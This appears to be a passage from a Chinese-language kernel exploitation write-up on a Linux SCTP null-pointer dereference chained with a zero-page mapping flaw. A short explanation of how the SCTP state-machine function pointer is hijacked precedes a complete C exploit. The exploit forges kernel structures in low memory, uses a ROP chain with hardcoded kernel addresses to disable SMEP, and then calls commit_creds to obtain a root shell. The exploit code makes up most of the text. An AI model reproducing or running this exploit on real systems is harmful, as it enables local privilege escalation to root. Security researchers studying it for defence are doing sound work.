if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}
listen(server_sockfd,5);
if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}
send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}
EXP
通过之前crash
的报错可以看到,asoc
指针遍历到了一个非法地址0xd4
。于是利用思路就是结合前一个0虚拟地址映射漏洞把0xd4
mmap下来,然后可以在发生空指针引用的地址上伪造一个指针;接下来的编写exp,其实就是查看的我们结构体内的可控内存,能否找到一个实现任意地址读写的指针。
首先,我们要保证exp
不会直接崩掉,就得使sctp_make_abort_user
的返回结果不同,使它进到下一个逻辑中(sctp_primitive_ABORT
)
跟进一下sctp_make_abort_user
这个paylen
是我们传进的参数,可以置0让函数正常返回
crash
的问题解决了,下面就是找可控指针,于是我们看一下sctp_primitive_ABORT
的定义:
primitive.c
是通过内联的方式实现的,重点看我框出来的部分,首先state
,ep
都是asoc
的成员变量,都是可控的,然后把它们作为参数调用了sctp_do_sm
,继续跟进
这里就可以看到通过state_fn
直接进行了函数调用,而state_fn
是由net
,event_type
,state
,subtype
决定的,其中event_type
和subtype
是常数,net
是sctp_sendmsg_check_sflags
中的sk
取值而来,sk
是asoc
的成员,可控,之前我们已经得知了state
可控。
所以,所有变量都可控,继续进到sctp_sm_lookup_event
函数
这里需要注意的是,在sctp_primitive_ABORT
里面就已经设置event
为SCTP_EVENT_T_PRIMITIVE
再看DO_LOOKUP
最后,我们的state_fn
就是这里的rtn
变量,state
是可控的,我们可以先打个断点查看&_table[event_subtype._type]
的值,再根据偏移找一个索引,使得最后rtn
等于一个用户空间的地址,这样就可以mmap
下来执行shellcode
。
当前这个exp
只能绕过smep
保护
#define _GNU_SOURE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/sctp.h>
#include <netinet/in.h>
#include <time.h>
#include <malloc.h>
#include <sys/mman.h>
#include <err.h>
#include <signal.h>
#define SERVER_PORT 6666
#define SCTP_GET_ASSOC_ID_LIST 29
#define SCTP_RESET_ASSOC 120
#define SCTP_ENABLE_RESET_ASSOC_REQ 0x02
#define SCTP_ENABLE_STREAM_RESET 118
struct sock
{
char pad1[0x24];
void *net;
char pad[0x278];
int type;
};
struct sctp_association
{
char pad1[0x18];
struct sock *sk;
char pad2[0x34];
char *ep;
char pad3[0x158];
int state;
};
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xc1074b00; // TODO:change it
void (*commit_creds)(void*) KERNCALL = (void*) 0xc10747a0; // TODO:change it
unsigned long user_cs, user_ss, user_rflags, user_sp;
void save_stat() {
asm(
"movl %%cs, %0;"
"movl %%ss, %1;"
"movl %%esp, %2;"
"pushf;"
"popl %3;"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_sp), "=r" (user_rflags) : : "memory");
}
void templine()
{
__asm__ __volatile__(" mov %edx,%esp;");
commit_creds(prepare_kernel_cred(0));
asm(
"pushl %0;"
"pushl %1;"
"pushl %2;"
"pushl %3;"
"pushl $shell;"
"iret;"
::"m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell()
{
printf("root\n");
system("/bin/sh");
exit(0);
}
void mmap_zero()
{
save_stat();
unsigned long addr = (unsigned long)mmap((void *)0x10000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (addr != 0x10000)
err(2,"mmap failed");
int fd = open("/proc/self/mem",O_RDWR);
if (fd == -1)
err(2,"open mem failed");
char cmd[0x100] = {0};
sprintf(cmd, "su >&%d < /dev/null", fd);
while (addr)
{
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1)
err(2, "lseek failed");
system(cmd);
}
printf("contents:%s\n",(char *)1);
struct sctp_association * sctp_ptr = (struct sctp_association *)0xbc;
sctp_ptr->sk = (struct sock *)0x1000;
sctp_ptr->sk->type = 0x2;
sctp_ptr->state = 0x7cb0954; // offset, &_table[event_subtype._type][(int)state] = 0x7760
sctp_ptr->ep = (char *)0x2000;
*(sctp_ptr->ep + 0x8e) = 1;
unsigned long* ptr4 = (unsigned long*)0x7760; // TODO:change it
printf("templine:%p\n", &templine);
// ptr4[0] = (unsigned long)&templine;
ptr4[0] = 0xc101c330; // mov %ebx,%esp; pop %ebx; pop %edi; pop %ebp;
int i = 2;
unsigned long *stack = (unsigned long*)0;
stack[i++] = 0x10;
stack[i++] = 0xc101cee5; // pop %eax; leave; ret;
stack[i++] = 0x6d0;
stack[i++] = 0xc1022c89; // mov %eax,%cr4; pop %ebp; ret;
stack[i++] = 0x1c;
stack[i++] = (unsigned long)&templine;
}
void* client_func(void* arg)
{
int socket_fd;
struct sockaddr_in serverAddr;
struct sctp_event_subscribe event_;
int s;
char *buf = "test";
if ((socket_fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP))==-1){
perror("client socket");
pthread_exit(0);
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
printf("send data: %s\n",buf);
if(sctp_sendmsg(socket_fd,buf,sizeof(buf),(struct sockaddr*)&serverAddr,sizeof(serverAddr),0,0,0,0,0)==-1){
perror("client sctp_sendmsg");
goto client_out_;
}
client_out_:
//close(socket_fd);
pthread_exit(0);
}
void* send_recv(int server_sockfd)
{
int msg_flags;
socklen_t len = sizeof(struct sockaddr_in);
size_t rd_sz;
char readbuf[20]="0";
struct sockaddr_in clientAddr;
rd_sz = sctp_recvmsg(server_sockfd,readbuf,sizeof(readbuf),(struct sockaddr*)&clientAddr, &len, 0, &msg_flags);
if (rd_sz > 0)
printf("recv data: %s\n",readbuf);
rd_sz = 0;
printf("Start\n");
if(sctp_sendmsg(server_sockfd,readbuf,rd_sz,(struct sockaddr*)&clientAddr,len,0,0x44,0,0,0)<0){
perror("SENDALL sendmsg");
}
pthread_exit(0);
}
int main(int argc, char** argv)
{
int server_sockfd;
pthread_t thread;
struct sockaddr_in serverAddr;
if ((server_sockfd = socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP))==-1){
perror("socket");
return 0;
}
bzero(&serverAddr, sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_addr.s_addr = htonl(INADDR_ANY);
serverAddr.sin_port = htons(SERVER_PORT);
inet_pton(AF_INET, "127.0.0.1", &serverAddr.sin_addr);
if(bind(server_sockfd, (struct sockaddr*)&serverAddr,sizeof(serverAddr)) == -1){
perror("bind");
goto out_;
}
listen(server_sockfd,5);
if(pthread_create(&thread,NULL,client_func,NULL)){
perror("pthread_create");
goto out_;
}
mmap_zero();
send_recv(server_sockfd);
out_:
close(server_sockfd);
return 0;
}
特别感谢
lm0963@De1ta
linguopeng@Sixstars
P4nda@Dubhe